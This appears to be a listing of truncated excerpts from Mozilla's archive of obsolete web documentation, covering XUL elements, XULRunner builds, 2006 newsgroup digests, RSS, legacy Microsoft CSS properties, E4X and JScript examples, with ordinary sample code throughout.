... attributes showcaret, src, type, transparent properties accessibletype, contentdocument, contentwindow, docshell, webnavigation examples <iframe src="table.php" flex="2" id="browsertable" name="table_frame"/> selecting an url from a menu <menulist oncommand="donav(this);"> <menupopup> <menuitem label="mozilla" value="http://mozilla.org" /> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net" /> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> <iframe id="myframe" flex="1"/> <script> function donav(obj) { var url = ...
menubar - Archive of obsolete content
attributes grippyhidden, statusbar properties accessibletype, statusbar examples <menubar id="sample-menubar"> <menu id="action-menu" label="action"> <menupopup id="action-popup"> <menuitem label="new"/> <menuitem label="save" disabled="true"/> <menuitem label="close"/> <menuseparator/> <menuitem label="quit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem la...
...bel="redo"/> </menupopup> </menu> </menubar> attributes grippyhidden seamonkey only type: boolean when set to true, the grippy will be hidden.
progressmeter - Archive of obsolete content
attributes max, mode, value properties accessibletype, max, mode, value examples <progressmeter mode="determined" value="82"/> <progressmeter mode="undetermined"/> <!-- switching modes while the mouse is over a button --> <progressmeter mode="determined" id="myprogress"/> <button label="example" onmouseover="setloading(true)" onmouseout="setloading(false)"/> function setloading(state){ document.getelementbyid('myprogress').mode = (state) ?
...for instance, if no maximum value has been set, setting the value to "0" shows an empty bar, "100" shows a bar at full length and "25" shows the first quarter of the bar.
scrollbox - Archive of obsolete content
<vbox> <label value="01 four score and seven years ago "/> <label value="02 our fathers brought forth on "/> <label value="03 this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the next bunch of labels is similar, but if the container doesn't give enough room for it, s...
... <vbox flex="1" style="overflow:auto"> <label value="01 four score and seven years ago "/> <label value="02 our fathers brought forth on "/> <label value="03 this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the flex="1" above may or may not be needed, or ev...
tabbrowser - Archive of obsolete content
onbookmarkgroup not in firefox type: script code this code executes when the user chooses the "bookmark this group of tabs" command.
...the progress listener should be based on the nsiwebprogresslistener interface with an additional "browser" argument as the first argument of every method, which is the browser (not <tabbrowser> = gbrowser) where the event occurred.
timepicker - Archive of obsolete content
attributes disabled, hideseconds, increment, readonly, tabindex, value properties amindicator, datevalue, disabled, hideseconds, hour, hourleadingzero, increment, is24hourclock, ispm, minute, minuteleadingzero, pmindicator, readonly, second, secondleadingzero, tabindex, value examples <timepicker value="12:05"/> attributes disabled type: boolean indicates whether the element is disabled or not.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
toolbaritem - Archive of obsolete content
examples <toolbaritem> <menulist label="bus"> <menupopup> <menuitem label="car"/> <menuitem label="taxi"/> <menuitem label="bus" selected="true"/> <menuitem label="train"/> </menupopup> </menulist> </toolbaritem> <toolbaritem id="sample-toolbutton-unified"> <toolbarbutton id="myext-button1" class="toolbarbutton-1" label="label1" /> <toolbarbutton id="myext-button2" cla...
...ss="toolbarbutton-1" label="labe2l" /> </toolbaritem> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, dataso...
toolbox - Archive of obsolete content
properties accessible, customtoolbarcount, externaltoolbars, palette, toolbarset methods appendcustomtoolbar, collapsetoolbar, expandtoolbar examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="toolbox example" width="300"> <toolbox> <toolbar> <toolbarbutton label="back"/> <toolbarbutton label="forward"/> <toolbarbutton label="home"/> </toolbar> <toolbar> <toolbarbutton label="stop...
..."/> <toolbarbutton label="reload"/> </toolbar> </toolbox> <textbox multiline="true" value="we have two toolbars inside of one toolbox above." width="20"/> </window> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessible ...
treechildren - Archive of obsolete content
odes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata example <tree flex="1"> <treecols> <treecol id="sender" label="sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treec...
...ell label="let's do lunch"/> </treerow> </treeitem> </treechildren> </tree> related elements tree, treecols, treecol, treeitem, treerow, treecell and treeseparator.
wizard - Archive of obsolete content
attributes firstpage, lastpage, pagestep, title, windowtype properties canadvance, canrewind, currentpage, onfirstpage, onlastpage, pagecount, pageindex, pagestep, title, wizardpages methods advance, cancel, extra1, extra2, getbutton, getpagebyid, goto, rewind examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="thewizard" title="secret code wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function checkcode(){ document.getelementbyid('thewizard').canadvance = (document.getelementbyid('secretcode').value == "cabbage"); } </script> <wizardpage onpageshow="checkcode();...
..."> <label value="enter the secret code:"/> <textbox id="secretcode" onkeyup="checkcode();"/> </wizardpage> <wizardpage> <label value="that is the correct secret code."/> </wizardpage> </wizard> attributes activetitlebarcolor type: color string specify background color of the window's titlebar when it is active (foreground).
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
as of december 2008,xulrunner 1.9.0.4 is available in the "gecko 1.9.0" branch upon which firefox 3 is based.
... windows run the following command from the start menu -> run or from a command prompt: "c:\program files\mozilla xulrunner\1.8.0.4\xulrunner\xulrunner.exe" --install-app "c:\documents and settings\user\desktop\myapplication.xpi" the application will be installed to c:\program files\vendorname\applicationname mac os x run the following command in a command prompt: /library/frameworks/xul.framework/xulrunner-bin --install-app ~/desktop/myapplication.xpi the application will be i...
Building XULRunner - Archive of obsolete content
for example, to build xulrunner with the top of the tree: hg clone http://hg.mozilla.org/mozilla-central/ src cd src echo ".
... \$topsrcdir/xulrunner/config/mozconfig" > .mozconfig make -f client.mk build interwiki language links ...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
(var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", < url: soapclient.proxy, < datatype: "xml", < processdata: false, < data: content, < complete: getresponse, < contenttype: soapclient.contenttype + "; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req...
....setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.mozbackgroundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystatechange = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-type': soapclient.contenttype + '; charset="' + > soapclient.charset + '"', > 'content-length': soapclient.contentlength, > 'soapserver': soapclient.soapserver, > 'soapaction': soapreq.action > }; > for (var h in headers) { xhr.setrequestheader(h, headers[h]); } > xhr.send(content); ...
toolkit.singletonWindowType - Archive of obsolete content
preference type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.singletonwindowtype", "xulmine"); by default, the toolkit.defaultchromeuri preference will cause xulrunner to open a new main application window each time an application is invoked.
...<window windowtype="xulmine"> in our example).
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 22-29, 2006 announcements bon echo 20060921 nightly to recieve "major update" offer mike beltnzer announced that 'users running the bon echo 20060921 nightly build will be offered the chance to upgrade to a "new version"' firefox start up performance boris zbarsky recently performed some profiling of firefox's start up - these are some of the details discussions problem handling dmg files on mac discussion about why sometimes dmg files are not mounted correctly after they are downloaded.
... firefox 2 on windows vista discussion about the "state of affairs" of firefox 2 on windows vista rc1 - update for rc1 listed in update history as 'install pending' right-click "copy email address" - bug 353102 a proposed bug fix to the 'copy email address' bug how to use the rss feeds discovery & parsing tool in another open source project?
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.accessibility - oct 28-nov 10, 2006 announcements acm transactions on accessible computing "transactions on accessible computing (taccess) is a quarterly journal that publishes refereed articles addressing issues of computing as it impacts the lives of people with disabilities." read more...
...this has been changed to alt+shift for content accesskeys due to the "conflicts with ui mnemonics" according to aaron leventhal.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 22-29, 2006 announcements bon echo 20060921 nightly to recieve "major update" offer mike beltnzer announced that 'users running the bon echo 20060921 nightly build will be offered the chance to upgrade to a "new version"' firefox start up performance boris zbarsky recently performed some profiling of firefox's start up - these are some of the details discussions problem handling dmg files on mac discussion about why sometimes dmg files are not mounted correctly after they are downloaded.
... firefox 2 on windows vista discussion about the "state of affairs" of firefox 2 on windows vista rc1 - update for rc1 listed in update history as 'install pending' right-click "copy email address" - bug 353102 a proposed bug fix to the 'copy email address' bug how to use the rss feeds discovery & parsing tool in another open source project?
2006-10-20 - Archive of obsolete content
method shouldload in "content-policy" category problem ?
...also a debate about which browser is "beating" which to a lesser extent further in the discussion.
2006-10-26 - Archive of obsolete content
gavin replies that "[t]he log file shows a "no space left on device" error when trying to link the final executable." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker.
... firefox killer features suggestion john describes his suggestions for "killer features" for firefox.
2006-10-27 - Archive of obsolete content
gavin replies that "[t]he log file shows a "no space left on device" error when trying to link the final executable." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker.
... firefox killer features suggestion john describes his suggestions for "killer features" for firefox.
2006-11-03 - Archive of obsolete content
discussions google adsense plugin for firefox a user post a link to a plugin for displaying "adsense earning" within the status bar of the browser without logging into google.
... ff 1.5 hiding a user adds their "two cents" about firefox 1.5 now being easily available for download.
2006-11-04 - Archive of obsolete content
discussions adsense plugin for firefox a user post a link to a plugin for displaying "adsense earning" within the status bar of the browser without logging into google.
... 1.5 hiding a user adds their "two cents" about firefox 1.5 now being easily available for download.
2006-12-01 - Archive of obsolete content
rich results for searches a proposal to implement "rich results", a set of registered sites that would provide information as it relates to a user's search.
... suggestion for status bar suggestion that a new status bar be implemented that would have a hover>appear style of operation similar to the mac "menu".
2006-10-27 - Archive of obsolete content
gavin responded to tony's posting saying that the log file shows a "no space left on device" error when trying to link the final executable.
...the solution that masaki suggested was to add "-l/usr/sfw/lib" into moz_cairo_libs of config/autoconf.mk.
2006-11-10 - Archive of obsolete content
when he ran this "make -f client.mk build" command he receive an error saying "no such file or directory".
... build problem firefox 2.0 on fc3 november 10th: vin downloaded the latest firefox 2 rc3 and tried to build it on fc3 with the following options: ./configure --enable-application=browser --prefix=$prefix --enable-extensions=default,spatialnavigation then he tried running "make" and received the following error: /usr/bin/ld: testtarray.o(.text+0x2237): unresolvable relocation against symbol `nstarray_base::semptyhdr' /usr/bin/ld: final link failed: nonrepresentable section on output collect2: ld returned 1 exit status gmake[3]: *** [testtarray] error 1 gmake[3]: leaving directory `/usr/mozilla2/src/mozilla/xpcom/tests' gmake[2]: *** [libs] error 2 gmake[2]: leavin...
2006-11-24 - Archive of obsolete content
he is using make 3.80, working with the source tarball for xulrunner 1.8.4,running "make -f client.mk distclean" followed by "make -f client.mk build_all".
..."component returned failure code: 0x80570016 (ns_error_xpc_gs_returned_failure) [nsijscid.getservice]" nsresult: "0x80570016 (ns_error_xpc_gs_returned_failure)" location: "js frame :: chrome://modzilla/content/js/pkg_zillacom.js :: <top_level> :: line 1202" data: no] he is running xulrunner v1.8.0.4.
2006-11-10 - Archive of obsolete content
benjamin smedberg has been "working on some xptcall refactoring which will allow us to expose xptcall via a frozen api (and c linkage)".
...neil deakin points out that "downloads and other network operations are always done in another thread so you shouldn't be creating one yourself".
2006-10-20 - Archive of obsolete content
discussions october 16, 2006, 5:10pm - david marteau notes that using "persist" on templatized content prevents from restoring values for the persistent attributes.
... neil notes that the format of localstore has changed from previous versions and that "persist" is not functioning properly using the new format.
NPStream - Archive of obsolete content
can be zero for streams of unknown length, such as streams returned from older ftp servers or generated "on the fly" by cgi scripts.
...lines are terminated by newline characters ("\n"), and the headers are terminated by a newline followed by null ("\n\0").
Writing a plugin for Mac OS X - Archive of obsolete content
xcode will create a "build" directory next to the project file, and if you built it in release mode, that folder in turn contains a "release" directory with the plugin inside it.
... if you want to implement your plugin in c++ or objective-c++, you need to tell the compiler to export them in c format by using extern "c" in the header, like this: #pragma gcc visibility push(default) extern "c" { nperror np_initialize(npnetscapefuncs *browserfuncs); nperror np_getentrypoints(nppluginfuncs *pluginfuncs); void np_shutdown(void); } #pragma gcc visibility pop you can check to be sure your symbols are visible and in standard c format by using the nm utility provided among the mac os x developer tools: [us...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
with its own history and culture, it's responsible for the "first post!" phenomena, the anonymous coward, and the recognition of the slashdot effect, a phenomena that adorns its name.
...an example using the most popular element of the rss slash module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>review of sin city</title> <guid>d77d2e80-...
Syndicating content with RSS - Archive of obsolete content
when this is the case, the html web page can let people and machines know about the feed by using the <link> element, like this: <link rel="alternate" type="application/rss+xml" href="http://example.com/feed" /> adding the <a> while use of the html <link> element is powerful, it is mostly hidden.
... linking from the the html web page where the data in an rss feed is also contained makes the rss feed available for use: <a rel="alternate" type="application/rss+xml" href="http://example.com/feed">...</a> feed icons rss (and other) feeds use a special icon.
title - Archive of obsolete content
netscape rss 0.91 revision 3 example <?xml version="1.0"?> <!doctype rss system "http://my.netscape.com/publish/formats/rss-0.91.dtd"> <rss version="0.91"> <channel> <title>advogato</title> <link>http://www.advogato.org/article/</link> <description>recent advogato articles</description> <language>en-us</language> <image> <link>http://www.advogato.org/</link> <title>advogato</title> ...
...item element</td> <td><item></td> <td>✔</td> <td>✔</td> <td>✔</td> <td>✔</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> </tr> <tr> <td>rss text input element</td> <td><textinput></td> <td>✔</td> <td>✔</td> <td>✔</td> <td>✔</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> </tr> </table> </center> see also none rss element</td> <th colspan="9" style="text-align:center">rss version ...
.htaccess ( hypertext access ) - Archive of obsolete content
the term .htaccess stands for "hypertext access".
... php_value auto_prepend_file "/real/path/to/file/functions.php" # adds function.php at the top of requested document php_value auto_append_file "/real/path/to/file/footer.php" # adds footer.html at bottom of requested document customized error responses : user can be directed to different pages depending on the error they caused or by the webserver.
Digital Signatures - Archive of obsolete content
the content of the hashed data cannot, for all practical purposes, be deduced from the hash-which is why it is called "one-way." similarly, in public key encryption, a key pair is generated for digital signing.
...for a discussion of the way this works, see "introduction to public-key cryptography." the significance of a digital signature is comparable to the significance of a handwritten signature.
Encryption and Decryption - Archive of obsolete content
"digital signatures" describes how this confirmation process works.
...(for more information about rc4 and other ciphers used with ssl, see "introduction to ssl.") an encryption key is considered full strength if the best known attack to break the key is no faster than a brute force attempt to test every key possibility.
Solaris 10 Build Prerequisites - Archive of obsolete content
--- env.sh.orig tue jul 1 02:38:35 2008 +++ env.sh tue jun 24 01:08:01 2008 @@ -95,7 +95,8 @@ echo setting ld=$ld export ld -path="$cbe_prefix/bin:/usr/ccs/bin:/usr/gnu/bin:/usr/bin:/usr/sbin:/bin:/usr /sfw/bin:$ccdir" +path="/opt/sfw/bin:$cbe_prefix/bin:/usr/ccs/bin:/usr/gnu/bin:/usr/bin:/usr/s bin:/bin:/usr/sfw/bin:$ccdir" test "x$jds_cbe_env_quiet" != x1 && \ echo setting path=$path export path +export pkg_config_path=/opt/sfw/lib/pkgconfig:/usr/lib/pkgconfig 3.
...just unpack the source tarball, run "./configure --prefix=/opt/sfw", make and make install.
Create Your Own Firefox Background Theme - Archive of obsolete content
how to create your own background theme themes are made up of a "header" graphic image file, which skins the default firefox ui background.
... select text and tab colors — you can choose the tab ("background") color and foreground text color that work best with your header image.
UUID - Archive of obsolete content
uuid: universal unique identifier a uuid can be obtained by visiting http://www.famkruithof.net/uuid/uuidgen or by typing "firebot: uuid?" on irc.mozilla.org in a channel where nickname "firebot" is present.
... or you can also type "/query firebot uuid?" in any tab connected to the irc.mozilla.org (or, with chatzilla, "moznet") network.
Theme changes in Firefox 3.5 - Archive of obsolete content
greying menus of inactive windows: active windows get attribute 'active="true"'.
... to do this only for 3.5 use a css selector that is only supported in 3.5, like so: window:not([active="true"]) menubar>menu:nth-child(1n) { color:threedshadow } private browsing: show private browsing state by coloring the url bar, or by adding an icon to the toolbox/tabbrowserbar.
Using Firebug and jQuery (Screencast) - Archive of obsolete content
more tips: here are some more jquery selectors that you can use on a digg post: $("li.c-bury > div").remove(); - remove all buried comments, but none of the direct replies.
... $("div.c-body").show(); - show all comments, even ones that've been buried.
Using Web Standards in your Web Pages - Archive of obsolete content
"browser makers are no longer the problem.
... the problem lies with designers and developers chained to the browser-quirk-oriented markup of the 1990s-often because they don't realize it is possible to support current standards while accommodating old browsers." -web standards project this article provides an overview of the process for upgrading the content of your web pages to conform to the world wide web consortium (w3c) web standards.
-ms-overflow-style - Archive of obsolete content
scrollbar "traditional" scrollbars are displayed if the element's content overflows.
... "traditional" scrollbars don't auto-hide and never overlap the element's content.
-ms-scrollbar-arrow-color - Archive of obsolete content
div { width: 150px; height: 150px; overflow-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> <div class="bluescrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="greenscrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-base-color - Archive of obsolete content
div { width: 150px; height: 150px; border-style: solid; border-width: thin; overflow-y: scroll; font-family: sans-serif; float: left; margin-right: 10px; } .aquascroll { scrollbar-base-color: aqua; scrollbar-arrow-color: blue; border-color: blue; } .bisquescroll { scrollbar-base-color: bisque; scrollbar-arrow-color: red; border-color: red; } <body> <div class="aquascroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="bisquescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-face-color - Archive of obsolete content
div { width: 150px; height: 150px; overflow-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> <div class="bluescrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="greenscrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-highlight-color - Archive of obsolete content
overflow-y: scroll; font-family: sans-serif; float: left; margin-right: 10px; } .bluescroll { -ms-scrollbar-highlight-color: aqua; -ms-scrollbar-face-color: blue; -ms-scrollbar-arrow-color: blue; border-color: blue; } .redscroll { -ms-scrollbar-highlight-color: bisque; -ms-scrollbar-face-color: red; -ms-scrollbar-arrow-color: red; border-color: red; } <body> <div class="bluescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="redscroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-track-color - Archive of obsolete content
overflow-y: scroll; font-family: sans-serif; float: left; margin-right: 10px; } .bluescroll { -ms-scrollbar-highlight-color: aqua; -ms-scrollbar-face-color: blue; -ms-scrollbar-arrow-color: blue; border-color: blue; } .redscroll { -ms-scrollbar-highlight-color: bisque; -ms-scrollbar-face-color: red; -ms-scrollbar-arrow-color: red; border-color: red; } <body> <div class="bluescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
... </div> <div class="redscroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
::-ms-browse - Archive of obsolete content
the ::-ms-browse css pseudo-element is a microsoft extension that represents the button that opens the file picker of <input type="file">.
...lor cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-browse example html <label>select image: <input type="file"></label> css input[type="file"]::-ms-browse { color: red; background-color: yellow; } result output example specifications not part of any specification.
::-ms-check - Archive of obsolete content
the ::-ms-check css pseudo-element is a microsoft extension that represents checkboxes and radio button groups created by <input type="checkbox"> and <input type="radio">.
... box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-check example html <form> <label for="redbutton">red</label> <input type="radio" id="redbutton"><br> <label for="greencheckbox">green</label> <input type="checkbox" id="greencheckbox"> </form> css input, label { display: inline; } input[type=radio]::-ms-check { border-color: red; /* this will make the border red when the button is checked.
-moz-mac-graphite-theme - Archive of obsolete content
the -moz-mac-graphite-theme gecko-only css media feature can be used to apply styles based on whether the user has the mac os x "graphite" theme enabled.
... syntax <integer> if the user has configured their device to use the "graphite" appearance on mac os x, this is 1.
Descendants and Filters - Archive of obsolete content
for instance var element = <pets> <dogs> <fido color="red"/> <spike color="blue"/> </dogs> </pets>; element..fido.@color = "green"; element..spike.@color = "purple"; changes the colors of both of our pet dogs.
...consider var element = <dogs> <fido color="brown"/> <spike color="black"/> <killer color="brown"/> </dogs>; var list = element.*.(@color == "brown"); originally, elements.* returns a list with all 3 dogs in it.
Introduction - Archive of obsolete content
var element3 = <foo baz="1"/>; manipulating elements the goal of e4x was to provide an easier way for javascript programmers to manipulate an xml document, without going through the dom interfaces.
...for example, var a = 2; var b = 'bar'; var c = <foo {b}={a}>"hi"</foo>; creates a slightly different xml document: <foo bar="2">"hi"</foo>.
The global XML object - Archive of obsolete content
for example var element = <foo> <?process x="true"?> <bar/> <?process x="false"?> </foo>; element.toxmlstring(); // returns <foo><bar/></foo> xml.ignoreprocessinginstructions = false; var element = <foo> <?process x="true"?> <bar/> <?process x="false"?> </foo>; element.toxmlstring(); // returns <foo><?process x="true"?><bar/><?proces...
...s x="false"?></foo> ignorewhitespace true by default.
Array.unobserve() - Archive of obsolete content
examples unobserving an array var arr = [1, 2, 3]; var observer = function(changes) { console.log(changes); } array.observe(arr, observer); ​ arr.push(4); // [{type: "splice", object: <arr>, index: 3, removed:[], addedcount: 1}] array.unobserve(arr, observer); arr.pop(); // the callback wasn't called using an anonymous function var persons = ['khalid', 'ahmed', 'mohammed']; array.observe(persons, function (changes) { console.log(changes); }); persons.shift(); // [{type: "splice", object: <arr>, index: 0, removed: [ "khalid" ], addedcount: 0 }] array.un...
...observe(persons, function (changes) { console.log(changes); }); persons.push('abdullah'); // [{type: "splice", object: <arr>, index: 2, removed: [], addedcount: 1 }] // the callback will always be called ...
Enumerator.atEnd - Archive of obsolete content
example in following code, the atend method is used to determine if the end of a list of drives has been reached: function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += drv.path + " - "; if (drv.isready) { var freegb = drv.freespace / bytespergb; var totalgb = drv.totalsize / byte...
...spergb; s += freegb.tofixed(3) + " gb free of "; s += totalgb.tofixed(3) + " gb"; } else { s += "not ready"; } s += "<br />"; e.movenext(); } return(s); } requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, and internet explorer 10 standards.
Enumerator.item - Archive of obsolete content
example function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += drv.path + " - "; if (drv.isready) { var freegb = drv.freespace / bytespergb; var totalgb = drv.totalsize / byte...
...spergb; s += freegb.tofixed(3) + " gb free of "; s += totalgb.tofixed(3) + " gb"; } else { s += "not ready"; } s += "<br />"; e.movenext(); } return(s); } requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, and internet explorer 10 standards.
Enumerator.moveFirst - Archive of obsolete content
example in following example, the movefirst method is used to evaluate members of the drivescollection from the beginning of the list: function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += drv.path + " - "; if (drv.isready) { var freegb = drv.freespace / bytespergb; var totalgb = drv.totalsize / byte...
...spergb; s += freegb.tofixed(3) + " gb free of "; s += totalgb.tofixed(3) + " gb"; } else { s += "not ready"; } s += "<br />"; e.movenext(); } return(s); } requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, and internet explorer 10 standards.
Enumerator.moveNext - Archive of obsolete content
example in following example, the movenext method is used to move to the next drive in the drives collection: function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += drv.path + " - "; if (drv.isready) { var freegb = drv.freespace / bytespergb; var totalgb = drv.totalsize / byte...
...spergb; s += freegb.tofixed(3) + " gb free of "; s += totalgb.tofixed(3) + " gb"; } else { s += "not ready"; } s += "<br />"; e.movenext(); } return(s); } requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, and internet explorer 10 standards.
Enumerator - Archive of obsolete content
example the following code shows the usage of the enumerator object: var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); document.write(fso.drives); var e = new enumerator(fso.drives); var drivestring = ""; e.movefirst(); while (e.atend() == false) { var drv = e.item(); drivestring += drv.path + " - "; if (drv.isready){ var freegb = drv.freespace / bytespergb; var totalgb = drv.totalsize / bytespergb; drivestring += freegb.tofixed(3) + " gb free...
... of "; drivestring += totalgb.tofixed(3) + " gb"; } else{ drivestring += "not ready"; } drivestring += "<br />";; e.movenext(); } document.write(drivestring); // output: <drive information properties the enumerator object has no properties.
VBArray.dimensions - Archive of obsolete content
<head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k k = k + 1 next next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vba) { var i; var a = new vbarray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { ...
... s += "the upper bound of dimension "; s += i + " is "; s += a.ubound(i); s += ".<br />"; } return(s); } --> </script> </head> <body> <script type="text/javascript"> document.write(vbarraytest(createvbarray())); </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, and internet explorer 10 standards.
VBArray.getItem - Archive of obsolete content
<head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(i, j) = k document.writeln(k) k = k + 1 next document.writeln("<br>") next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function getitemtest(vbarray) { var i, j; var a = new vbarray(vbar...
